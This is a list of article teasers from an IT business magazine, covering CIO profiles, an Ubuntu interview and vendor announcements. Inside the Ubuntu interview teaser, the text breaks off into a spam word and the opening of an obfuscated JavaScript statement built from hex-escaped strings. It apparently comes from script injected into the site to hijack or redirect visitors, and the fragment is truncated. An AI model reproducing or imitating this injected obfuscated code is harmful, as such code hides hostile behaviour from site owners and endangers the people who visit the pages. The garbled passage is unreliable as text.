Can it get any cheaper?

Suresh Shanmugam, HeadBITS, Mahindra & Mahindra Financial Services (MMFSL), should have been a contented man with the robust growth that his company was able to post on a year-on-year basis.Yet, even as hundreds of company agents from its around 500 branches went about the country financing loans and collecting payments, Shanmugam was constantly thinking of ways and means to automate or... By shubhendu.parth

Linux is getting better on the desktop

Canonical Partner-Manager (Central Asia), Prakash Advani is the person at the helm of managing and promoting Ubuntu in this part of the globe. In a detailed discussion with Shashwat DC, he debunks the numerous myths that surround Open Source, and spells out the reasons why it should be the first choice. Excerpts: odziezvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f... By shubhendu.parth

Hiring? Use a rulebook

Prerna Rawat had been staring at her laptop screen for the last 15 minutes and yet her mind drew a complete blank. She was expected to draft a detailed recruitment plan in view of an IT outsourcing project the company had landed with a new Fortune 500 client. She sat immobile, confounded by stark contradictions between organisations recruitment policies and the ground realities in the wake of a... By shubhendu.parth

Sweat your storage assets

Much bigger than the human population explosion is the data explosion that is continuing to take place. There are many factors that are responsible for this sudden spurt in enterprises appetite for data; from the shift to a hyper-connected world to an almost freefall in the cost of storage space and solutions. Other related factors like video and audio streaming, digital content creation, and... By shubhendu.parth

NSN to commence 3G manufacturing in India

New Delhi: Nokia Siemens Networks (NSN)hasannounced to startmanufacturing 3G mobile communications infrastructure at its Chennai facility. With this move, Nokia Siemens Networks becomes the countrys first telecommunications infrastructure vendor to manufacture 3G products locally. India is not just a high-growth market but also an innovation hub for us. Our manufacturing operations in India... By shubhendu.parth

Microsoft launches Dynamics CRM for NGO's

New Delhi: Microsoft has launched it's Dynamics CRM for nonprofits and NGOs. The solution provides constituent relationship management functionality as well as customizations for donation and pledge management, basic membership management, basic volunteer tracking, campaign management, dashboard reports, and support for online payment solutions. For nonprofits and NGOs interested in the on-... By shubhendu.parth

Huawei, PerSay partners to develop biometrics

New Delhi: Huawei has entered into an alliance with PerSay, a provider of advanced biometric speaker verification products. Thispartnership, according to the companywill combine PerSay's offerings with Huawei's IP contact center platform to deliver a secure, multi factor authentication for access to services provided through the contact center. It further states that the joint offering will... By shubhendu.parth

CA launches Agile Vision for Cloud Apps

New Delhi: CA has announced the availability of CA Agile Vision Team Edition, the first native Force.com agile development planning tool, designed to enable companies to manage application development entirely in the cloud. CA Agile Vision is built to leveraging salesforce.com's Force.com platform and is based on technology used by salesforce.com for its Sales and Service Cloud apps. The new... By shubhendu.parth

MphasiS to acquire Fortify Infrastructure Services

New Delhi: MphasiS has reached a definitive agreement to acquire Fortify Infrastructure Services, a global provider of offshore based Remote IT Operations and Management (ROM) Services. According to the official release, the acquisition willenable MphasiS access to marquee customers, an experienced management team, a talent pool of highly specialized professionals and a proven platform to... By shubhendu.parth

Salesforce.com launches Private Chatter

Salesforce.com has announced it is accelerating the market shift to the next generation cloud computing, which it calls 'Cloud 2'. The first phase of cloud computing was about leveraging technologies that were low cost, fast and easy to use on desktop. Cloud 2 represents the next generation of cloud computing, one that is inherently social, collaborative and delivers real-time access to data and... By shubhendu.parth

Costliest is not always the best

We all have learned the hard way that cost cutting and cost reduction need not wait for a recession to strike. However, recession has certainly taught all of us the lesson that high budget necessarily does not convert itself into high business benefits. It is only validation and participation from all levels that an organisation can achieve the right balance between what it spends and the... By shubhendu.parth

To be a CIO, think like one

Everybody yearns for professional growth and promotion. Im sure you as an IT manager also aspire to be in the CIOs role at some point in your career, sooner the better. In todays agile organisations, experience and knowledge alone do not guarantee a journey to the top of the IT organisation ladder. There are other important factors that distinguish a budding CIO from the rest of IT managers.Sure... By shubhendu.parth